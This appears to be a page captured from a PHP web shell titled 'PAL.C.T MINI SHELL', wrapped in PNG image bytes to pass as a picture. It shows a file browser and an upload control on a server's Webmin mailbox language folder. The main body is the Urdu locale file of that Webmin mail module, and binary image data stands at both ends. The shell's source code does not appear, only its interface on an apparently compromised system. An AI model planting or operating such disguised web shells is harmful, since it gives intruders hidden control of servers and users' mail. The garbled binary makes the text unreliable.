php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/mailboxes/lang/
upload
files >> //usr/libexec/webmin/mailboxes/lang/ur.auto

index_title=صارف میل پڑھیں
index_none=آپ کو اس سسٹم میں کسی بھی صارف کے لئے ای میل پڑھنے کی اجازت نہیں ہے۔
index_header=صارف کے میل باکس
index_empty=کوئی میل نہیں ہے
index_return=صارف کی فہرست
index_esystem=None of the supported mail servers (Exim, Qmail, Postfix and Sendmail) were detected on your system. You will need to adjust the <a href='$1'>module configuration</a> to set the mail server and possibly mail paths manually.
index_esystem2=The mail server set in the <a href='$1'>module configuration</a> was not found on your system. You will need to adjust the configuration to use the correct server.
index_esystem3=An error occurred contacting the mail system set in the <a href='$1'>module configuration</a> : $2.
index_system6=میل سرور: ایکزم
index_system5=میل سرور: Qmail+VPopMail
index_system4=میل سرور: Qmail+LDAP
index_system2=میل سرور: قमेल
index_system1=میل سرور: ارسال کریں
index_system0=میل سرور: پوسٹ فکس
index_toomany=آپ کے سسٹم میں بہت سارے صارفین ہیں جو ایک صفحے پر آویزاں ہیں۔
index_find=وہ صارف تلاش کریں جہاں صارف نام ہے
index_equals=برابر
index_contains=مشتمل
index_eperl=The Perl module $1 needed for the selected SMTP authentication mode is not installed or is missing a dependent module. <a href='$2'>Click here</a> to install it now.
index_file=فائل یا میلڈر میں میل پڑھیں:
index_nousers=کوئی صارف نہیں ملا!
index_nousersmail=ای میل والے صارفین کو نہیں ملا۔

mail_title=صارف کا ای میل
mail_from=سے
mail_date=تاریخ
mail_subject=مضمون
mail_to=کرنا
mail_cc=سی سی
mail_bcc=بی سی سی
mail_pri=ترجیح
mail_highest=اعلی ترین
mail_high=اونچا
mail_normal=عام
mail_low=کم
mail_lowest=سب سے کم
mail_for=In $1
mail_for2=For user $1
mail_sent=بھیجے گئے میل لسٹ میں
mail_size=سائز
mail_level=اسکور
mail_delete=حذف کریں
mail_compose=تحریر کریں
mail_open=کھولو
mail_return=صارف میل باکس
mail_pos=Messages $1 to $2 of $3 in $4
mail_none=This user has no messages in $1
mail_ecannot=آپ کو اس صارف کا ای میل پڑھنے کی اجازت نہیں ہے
mail_all=تمام منتخب کریں.
mail_invert=الٹا انتخاب
mail_nosort=چھانٹ رہا ہے کو دوبارہ ترتیب دیں۔
mail_search=جہاں پیغامات ڈھونڈیں
mail_body=جسم
mail_match=میچ
mail_ok=تلاش کریں
mail_nonefrom=کوئی نہیں
mail_mark=بطور نشان زد کریں:
mail_mark0=غیر پڑھے ہوئے
mail_mark1=پڑھیں
mail_mark2=خصوصی
mail_forward=آگے
mail_move=پر منتقل:
mail_copy=کاپی کریں:
mail_rfc=لائن سے
mail_eexists=پیغام اب موجود نہیں ہے!
mail_fchange=بدلیں
mail_indexlink=میل باکس پر واپس جائیں
mail_deleteall=تمام حذف کریں
mail_black=بھیجنے والوں سے انکار کریں
mail_white=بھیجنے والوں کو اجازت دیں
mail_whitemove=مرسلین اور ان باکس کو اجازت دیں
mail_efile=میل فائل موجود نہیں ہے
mail_fromsrch=اسی مرسل کے ساتھ ای میل تلاش کریں
mail_subsrch=اسی موضوع کے ساتھ ای میل تلاش کریں
mail_tosrch=وصول کنندہ کے ساتھ ای میل تلاش کریں
mail_fromfilter=مرسل کے ذریعہ فلٹر بنائیں
mail_tofilter=وصول کنندہ کے ذریعہ فلٹر بنائیں
mail_subfilter=موضوع کے لحاظ سے فلٹر بنائیں
mail_unknown=نامعلوم

mail_sign=چابی سے دستخط کریں
mail_nosign=&lt;دستخط نہ کریں&gt;
mail_crypt=کے لئے خفیہ کاری
mail_nocrypt=&lt;کو خفیہ نہ کریں&gt;
mail_samecrypt=&lt;منزل مقصود کی چابیاں&gt;
mail_addresses=ایڈریس بک کا نظم کریں
mail_folders=فولڈرز کا نظم کریں
mail_err=An error occurred listing mail in this folder : $1
mail_loginheader=POP3 سرور لاگ ان
mail_loginheader2=IMAP سرور لاگ ان
mail_logindesc=You must enter a username and password to access mail<br>in your inbox on the mail server $1.
mail_loginuser=صارف نام
mail_loginpass=پاس ورڈ
mail_loginmailbox=IMAP میل باکس
mail_login=لاگ ان کریں
mail_reset=صاف
mail_logout=POP3 لاگ ان کو تبدیل کریں
mail_logout2=IMAP لاگ ان کو تبدیل کریں
mail_sig=دستخط میں ترمیم کریں
mail_jump=صفحے پر جائیں :
mail_of=کے
mail_replyto=کا جواب دیں
mail_folder=فولڈر
mail_delall=تمام حذف کریں
mail_deltrash=خالی کچرادان
mail_search2=کے لئے تلاش:
mail_search3=سکور کے ساتھ تلاش کریں:
mail_advanced=اعلی درجے کی تلاش
mail_return2=صارف کا ای میل
mail_esystem=An error occurred contacting the mail system : $1. This must be fixied by the system administrator.
mail_selread=پڑھیں کو منتخب کریں۔
mail_selunread=غیر پڑھے ہوئے کو منتخب کریں۔
mail_selspecial=خصوصی منتخب کریں۔
mail_specialsync=خصوصی ہم آہنگی

view_title=ای میل پڑھیں
view_desc=Message $1 in $2
view_desc2=Message $1 for user $2
view_desc3=Message $1
view_sent=Message $1 in sent mail list
view_qdesc=Queued message $1
view_headers=میل ہیڈر
view_body=پیغام کے مندرجات
view_nobody=اس پیغام میں کوئی جسمانی مواد نہیں ہے۔
view_allheaders=تمام ہیڈر دیکھیں
view_noheaders=بنیادی ہیڈر دیکھیں
view_attach=اٹیچمنٹ
view_afile=منسلکہ نام
view_atype=منسلکہ کی قسم
view_aactions=عمل
view_aview=دیکھیں
view_aopen=کھولو
view_asave=محفوظ کریں
view_aplain=خام
view_anofile=کوئی فائل نام نہیں
view_asize=فائل کا ناپ
view_reply=جواب دیں
view_reply2=سب کو جواب
view_enew=نئے کے بطور ترمیم کریں
view_forward=آگے
view_delete=حذف کریں
view_print=پرنٹ کریں
view_strip=اٹیچمنٹ کو ہٹا دیں
view_ecannot=آپ کو اس صارف کا ای میل پڑھنے کی اجازت نہیں ہے
view_mark=بطور نشان زد کریں:
view_mark0=غیر پڑھے ہوئے
view_mark1=پڑھیں
view_mark2=خصوصی
view_markas0=غیر پڑھے ہوئے
view_markas1=پڑھیں
view_markas2=خصوصی
view_return=اصل ای میل
view_sub=منسلک ای میل
view_sub2=Attached email from $1
view_egone=اب یہ پیغام موجود نہیں ہے
view_eugone=یہ صارف موجود نہیں ہے

view_gnupg=GnuPG دستخطی کی توثیق
view_gnupg_0=Signature by $1 is valid.
view_gnupg_1=Signature by $1 is valid, but trust chain could not be established.
view_gnupg_2=Signature by $1 is <b>NOT</b> valid.
view_gnupg_3=Key ID $1 is not in your list, so signature could not be verified.
view_gnupg_4=Failed to verify signature : $1
view_crypt=GnuPG میل ڈکرپشن
view_crypt_1=پیغام کو خفیہ کردہ ہے ، لیکن GnuPG سپورٹ انسٹال نہیں ہے۔
view_crypt_2=Failed to decrypt message : $1
view_crypt_3=میل کامیابی کے ساتھ ڈکرپٹ ہوگیا۔
view_crypt_4=پیغام کے خفیہ کردہ حصے کو کامیابی کے ساتھ ڈکرپٹ کردیا گیا۔
view_recv=<a href='$2'>Fetch key ID $1 from keyserver</a>.
view_folder=میل باکس پر واپس جائیں
view_dheader=سرور سے منسلک علیحدہ کریں
view_detach=علیحدہ فائل:
view_dall=&lt;تمام فائلیں&gt;
view_dir=سرور فائل یا ڈائریکٹری میں:
view_black=بھیجنے والے سے انکار کریں
view_white=بھیجنے والے کو اجازت دیں
view_whitemove=مرسل اور ان باکس کو اجازت دیں
view_razor=فضول کی اطلاع دیں
view_ham=رپورٹ ہام
view_hammove=ہام اور ان باکس کی اطلاع دیں
view_razordel=اسپیم کو حذف کریں
view_dstatus=ترسیل کی حیثیت ناکام
view_dstatusok=کامیاب ترسیل کی حیثیت
view_final-recipient=حتمی وصول کنندہ
view_diagnostic-code=ناکامی کی وجہ
view_remote-mta=ریموٹ میل سرور
view_reporting-mta=میل سرور کی اطلاع دہندگی
view_astext=متن کے بطور دیکھیں
view_ashtml=HTML کے بطور دیکھیں
view_images=تصاویر دکھائیں
view_raw=کچا پیغام دیکھیں
view_aall=تمام منسلکات کو بطور زپ محفوظ کریں۔
view_aslideshow=تمام تصاویر دکھائیں۔

compose_title=ای میل لکھیں

reply_title=ای میل کا جواب دیں
forward_title=فارورڈ ای میل
enew_title=ای میل میں ترمیم کریں
reply_headers=میل ہیڈر
reply_attach=فارورڈ منسلکات
reply_mailforward=آگے بھیجے گئے پیغامات
reply_attach2=کلائنٹ اور سرور سائیڈ منسلکات
reply_attach3=منسلکات کو اپ لوڈ کیا
reply_send=میل بھیجیں
reply_ecannot=آپ کو بطور صارف اس میل کو بھیجنے کی اجازت نہیں ہے
reply_body=پیغام کا متن
reply_errc=میل کاپی کرنے میں ناکام
reply_errm=میل منتقل کرنے میں ناکام
reply_return=میل تحریر کریں
reply_efwdnone=آگے بھیجے گئے پیغامات میں سے کوئی بھی موجود نہیں ہے
reply_dsn=پڑھنے کی حیثیت کی اطلاع کی درخواست کریں؟
reply_del=ترسیل کی حیثیت سے متعلق اطلاع کی درخواست کریں؟
reply_aboot=ایڈریس بک میں وصول کنندگان کو شامل کریں؟
reply_tabfrom=سے
reply_tabto=کرنا
reply_tabreplyto=کا جواب دیں
reply_tabcc=سی سی
reply_tabbcc=بی سی سی
reply_tabsigning=دستخط کرنا
reply_taboptions=اختیارات
reply_addattach=اٹیچمنٹ فیلڈ شامل کریں۔
reply_addssattach=سرور سائیڈ منسلکہ کا فیلڈ شامل کریں۔
reply_html0=عبارت تحریر کریں
reply_html1=HTML تحریر کریں

reply_spell=ہجے کی غلطیوں کی جانچ کریں؟
reply_draft=بطور مسودہ محفوظ کریں
reply_save=محفوظ کریں اور ترمیم کریں

send_err=میل بھیجنے میں ناکام
send_eto=پتہ غائب ہے
send_efrom=پتہ غائب ہے
send_esubject=گمشدہ ای میل کا مضمون
send_title=میل بھیج دیا گیا
send_title2=میل محفوظ ہوگیا
send_ok=Mail sent successfully to $1
send_sending=Sending mail to $1 ..
send_ecannot=آپ کو بطور صارف اس میل کو بھیجنے کی اجازت نہیں ہے
send_esmtp=SMTP command $1 failed : $2
send_eattach=Attachments cannot total more that $1 kB in size.
send_eperms=User $1 cannot read $2
send_eperms2=You are not allowed to send file $1
send_epath=Sendmail executable $1 does not exist.
send_efile=Failed to read attachment $1 : $2
send_done=.. ہو گیا۔

send_epass=آپ کسی پیغام پر دستخط نہیں کرسکتے ہیں کیوں کہ آپ کا پاس فریز ابھی تک GnuPG ماڈیول میں سیٹ اپ نہیں ہوا ہے۔
send_esign=Failed to sign message : $1
send_ekey=Couldn't find key for email address $1
send_ecrypt=Failed to encrypt message : $1
send_eword=Misspelt word $1
send_eword2=Misspelt word $1 - possible corrections $2
send_eline=In line $1 :
send_espell=آپ کے پیغام میں املا کی درج ذیل خامیاں پائی گئیں ..
send_draft=Mail to $1 saved in drafts folder.
send_drafting=Saving mail to $1 in drafts folder ..
send_eattachsize=The mail attachment exceeded the maximum allowed size of $1 bytes

delete_title=میل کو حذف کریں
delete_rusure=Are you sure you want to delete the $1 selected messages from $2? This may take some time for a large mail file. Until the deletion has finished, no other action should be performed.
delete_rusure2=Are you sure you want to delete this message from $1? This may take some time for a large mail file. Until the deletion has finished, no other action should be performed.
delete_ok=ابھی حذف کریں
delete_ecannot=اب آپ کو اس صارف کے میل کو حذف کرنے کی اجازت ہے
delete_enone=حذف کرنے کے لئے کوئی میل منتخب نہیں کیا گیا ہے
delete_emnone=نشان کے لئے کوئی میل منتخب نہیں کیا گیا ہے
delete_efnone=آگے بھیجنے کے لئے کوئی میل منتخب نہیں کیا گیا ہے
delete_ebnone=کوئی میل انکار کرنے کے لئے منتخب نہیں کیا گیا ہے
delete_ewnone=اجازت دینے کے لئے کوئی میل منتخب نہیں کیا گیا ہے
delete_ernone=اسپام کے بطور اطلاع دینے کیلئے کوئی میل منتخب نہیں کیا گیا ہے
delete_ehnone=ہیم کی حیثیت سے اطلاع دینے کیلئے کوئی میل منتخب نہیں کیا گیا ہے
delete_emoveuser=میل منتقل کرنے کے لئے صارف موجود نہیں ہے
delete_ecopyuser=میل کاپی کرنے کیلئے صارف موجود نہیں ہے
delete_emovecannot=آپ کو مخصوص صارف کو میل منتقل کرنے کی اجازت نہیں ہے
delete_ecopycannot=آپ کو مخصوص صارف کو میل کاپی کرنے کی اجازت نہیں ہے
delete_emovenone=منتقل کرنے کے لئے کوئی میل منتخب نہیں کیا گیا ہے
delete_ecopynone=کاپی کرنے کے لئے کوئی میل منتخب نہیں کیا گیا ہے
delete_nobutton=کوئی بٹن نہیں کلکس کیا گیا
delete_ereport=Failed to report as spam : $1
delete_errc=میل کاپی کرنے میں ناکام
delete_errm=میل منتقل کرنے میں ناکام

confirm_title=حذف ہونے کی تصدیق کریں
confirm_warn=Are you sure you want to delete the $1 selected messages from this folder?
confirm_warnf=Are you sure you want to delete the $1 selected messages from the folder <b>$2</b>?
confirm_warn2=آپ کے میل باکس کی شکل اور شکل کی وجہ سے ، اس میں کچھ وقت لگ سکتا ہے۔ جب تک حذف ہونے کا کام ختم نہیں ہوجاتا ، کوئی اور کارروائی نہیں کی جانی چاہئے۔
confirm_warn3=کیا آپ واقعی یہ پیغام حذف کرنا چاہتے ہیں؟
confirm_warn4=جب تک حذف ہونے کا کام ختم نہیں ہوجاتا ، کوئی اور کارروائی نہیں کی جانی چاہئے۔
confirm_ok=ابھی حذف کریں
confirm_warnall=کیا آپ واقعی اس فولڈر میں موجود تمام پیغامات کو حذف کرنا چاہتے ہیں؟
confirm_warnallf=Are you sure you want to delete all of the messages in the folder <b>$1</b>?

search_title=تلاش کے نتائج
search_ecannot=آپ کو اس صارف کے ای میل کو تلاش کرنے کی اجازت نہیں ہے
search_ematch=اس کے مقابلہ کیلئے آپ کو متن درج کرنا ہوگا۔
search_escore=لاپتہ یا غلط اسپام اسکور
search_efield=آپ کو تلاش کی قسم منتخب کرنا ہوگی۔
search_ewhat=No text to match against entered for row $1
search_enone=تلاش کا کوئی معیار نہیں داخل کیا گیا
search_none=کوئی پیغام نہیں ملا۔
search_results2=$1 mail messages matching $2
search_results3=$1 mail messages not matching $2
search_results4=$1 mail messages matching your search
search_results5=$1 mail messages where $2 matches $3
search_msg2=Search results for $1
search_msg4=تلاش کے نتائج
search_msg5=Search results for spam with score $1
search_msg6=Search results for $1 in $2 field
search_local=مقامی فولڈروں میں
search_all=تمام فولڈروں میں
search_limit=(from last $1 messages)
search_status=حیثیت کے ساتھ
search_attach=منسلک ہونا ضروری ہے؟
search_allstatus=کوئی
search_onestatus=صرف حیثیت
search_latest=تلاش کرنے کے لئے پیغامات
search_nolatest=سبھی فولڈر میں
search_latestnum=صرف تازہ ترین
search_elatest=تلاش کرنے کیلئے پیغامات کی گمشدہ یا غلط تعداد
search_withstatus=, with status $1

folder_inbox=ان باکس
folder_sent=میل بھیجا
folder_drafts=ڈرافٹس
folder_trash=کوڑے دان

detach_err=فائل کو علیحدہ کرنے میں ناکام
detach_edir=داخل کرنے کیلئے محفوظ کرنے کے لئے کوئی فائل یا ڈائریکٹری نہیں ہے
detach_eopen=Failed to open $1 : $2
detach_ewrite=Failed to write to $1 : $2
detach_title=فائل کو الگ کریں
detach_ok=Wrote attachment to server-side file $1 ($2).

sform_title=اعلی درجے کی تلاش
sform_header=اعلی درجے کی ای میل تلاش کے اختیارات
sform_andmode=معیار کا وضع
sform_and=ذیل میں تمام معیار سے ملنے والے پیغامات ڈھونڈیں ..
sform_or=ذیل میں کسی بھی معیار سے مماثل پیغامات تلاش کریں ..
sform_neg0=مشتمل
sform_neg1=پر مشتمل نہیں ہے
sform_ok=ابھی تلاش کریں
sform_folder2=فولڈر میں تلاش کریں
sform_all=&lt;تمام فولڈر&gt;
sform_local=&lt;مقامی فولڈر&gt;
sform_where=کہاں
sform_text=متن
sform_from=منجانب: ہیڈر
sform_subject=موضوع: ہیڈر
sform_to=سے: ہیڈر
sform_cc=سی سی: ہیڈر
sform_bcc=بی سی سی: ہیڈر
sform_date=تاریخ: ہیڈر
sform_body=پیغام باڈی
sform_headers=کوئی ہیڈر
sform_allmsg=پورا پیغام
sform_size=پیغام کا سائز
sform_return=جدید ترین سرچ فارم

find_enone=آپ کی تلاش سے مماثل کوئی صارف نہیں ملا
find_title=تلاش کے نتائج
find_results=Users matching search for $1 ..
find_user=صارف نام
find_real=اصلی نام
find_group=گروپ
find_home=ہوم ڈائریکٹری
find_size=میل کا سائز
find_incount=ای میلز
find_sentcount=بھیجا گیا
find_fcount=فولڈرز
find_in=$1 in $2

acl_none=کوئی نہیں
acl_same=ایک ہی نام کے ساتھ صارف
acl_all=سب
acl_read=وہ صارفین جن کی میل پڑھی جاسکتی ہے
acl_users=صرف صارف
acl_userse=سوائے صارفین کے
acl_usersg=گروپوں کے ممبر
acl_from=پتے سے اجازت
acl_any=کوئی پتہ
acl_fdoms=میل باکس @ ڈومینز
acl_faddrs=درج پتے
acl_fdom=کوئی پتہ @ ڈومین
acl_fromname=منجانب ایڈریس کا اصل نام
acl_apath=فائلوں اور پروگرام کو ڈائریکٹری تک محدود رکھیں
acl_attach=زیادہ سے زیادہ کل منسلکات کا سائز
acl_unlimited=لامحدود
acl_sent=میل باکس میں بھیجے گئے میل اسٹور کریں
acl_canattach=سرور سائیڈ فائلیں منسلک کرسکتے ہیں؟
acl_candetach=فائلوں کو سرور سے الگ کر سکتا ہے؟
acl_usersm=ملاپ کرنے والے صارفین
acl_asame=صارف نام کی طرح
acl_usersu=حد میں UID کے ساتھ
acl_sec=ثانوی گروہوں کو شامل کریں؟
acl_dir=ڈائریکٹری میں میل فائلوں کو پڑھ سکتے ہیں
acl_dirauto=خود بخود فیصلہ کریں (کہیں بھی اگر تمام صارف دکھائی دیں ، کہیں بھی نہیں)

log_delmail=Deleted $1 messages from $2
log_movemail=Moved $1 messages from $2 to $3
log_copymail=Copied $1 messages from $2 to $3
log_send=Sent mail to $1
log_read=Read mail for $1

emodified=This folder has been modified since it was last viewed! Return to the <a href='$1'>mail list</a> and try again.

razor_title=بطور اسپام رپورٹنگ
razor_title2=ہام کی حیثیت سے رپورٹنگ
razor_report=اس پیغام کو استرا اور اسپاماساسن اسپیم مسدود کرنے والے ڈیٹا بیس کو بتانا۔
razor_report2=استر اور اسپاماساسن اسپام مسدود کرنے والے ڈیٹا بیس کو منتخب کردہ پیغامات کی اطلاع دینا ..
razor_report3=استرا اور اسپاماساسن اسپام مسدود کرنے والے ڈیٹا بیس کو منتخب کردہ پیغامات کی غیر اطلاع دہندگی ..
razor_done=.. ہو گیا
razor_err=.. ناکام! اس کی وجہ کے لئے اوپر غلطی کا پیغام ملاحظہ کریں۔
razor_moved=.. done, and moved to folder $1.
razor_deleted=.. ہو گیا ، اور حذف شدہ پیغام بھی۔

ham_title=ہام کی حیثیت سے رپورٹنگ
ham_report=اس پیغام کو ریزر اور اسپاماساسن کے دوسرے ڈیٹا بیس کو غیر اسپیم کی حیثیت سے بتانا ..

black_title=مرسل کو انکار کرنا
black_done=Added the email address $1 to SpamAssassin's denied addresses list.
black_already=The email address $1 is already on SpamAssassin's denied addresses list.

white_title=بھیجنے والے کو اجازت دے رہا ہے
white_done=Added the email address $1 to SpamAssassin's allowed addresses list.
white_already=The email address $1 is already on SpamAssassin's allowed addresses list.

ldap_emod=Missing Perl module $1 needed for connecting to LDAP
ldap_econn=Failed to connect to LDAP server $1 port $2
ldap_elogin=Failed to bind to LDAP server $1 as $2 : $3
ldap_ehost=کوئی LDAP سرور ماڈیول ترتیب میں سیٹ نہیں ہے
ldap_eport=کوئی درست ایل ڈی اے پی سرور بندرگاہ ماڈیول کنفیگریشن میں سیٹ نہیں ہے
ldap_euser=ماڈیول کنفیگریشن میں ایل ڈی اے پی لاگ ان سیٹ نہیں ہے
ldap_ebase=ماڈیول کنفیگریشن میں ایل ڈی اے پی بیس ڈی این سیٹ نہیں ہے

delall_title=تمام میل کو حذف کریں
delall_rusure=Are you sure you want to delete all email from $1? $2 messages totaling $3 will be deleted forever.
delall_ok=ابھی حذف کریں

slide_title=منسلک امیجز
slide_prev=پچھلا
slide_next=اگلے

left_mail=میل
left_search=تلاش:
left_folders=فولڈرز کا نظم کریں
left_addresses=ایڈریس بک
left_prefs=میل کی ترجیحات
left_forward=فارورڈ ای میل
left_autoreply=خودکار جواب
left_filter=ای میل کے فلٹرز
left_pass=پاس ورڈ تبدیل کریں
left_sig=دستخط میں ترمیم کریں
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`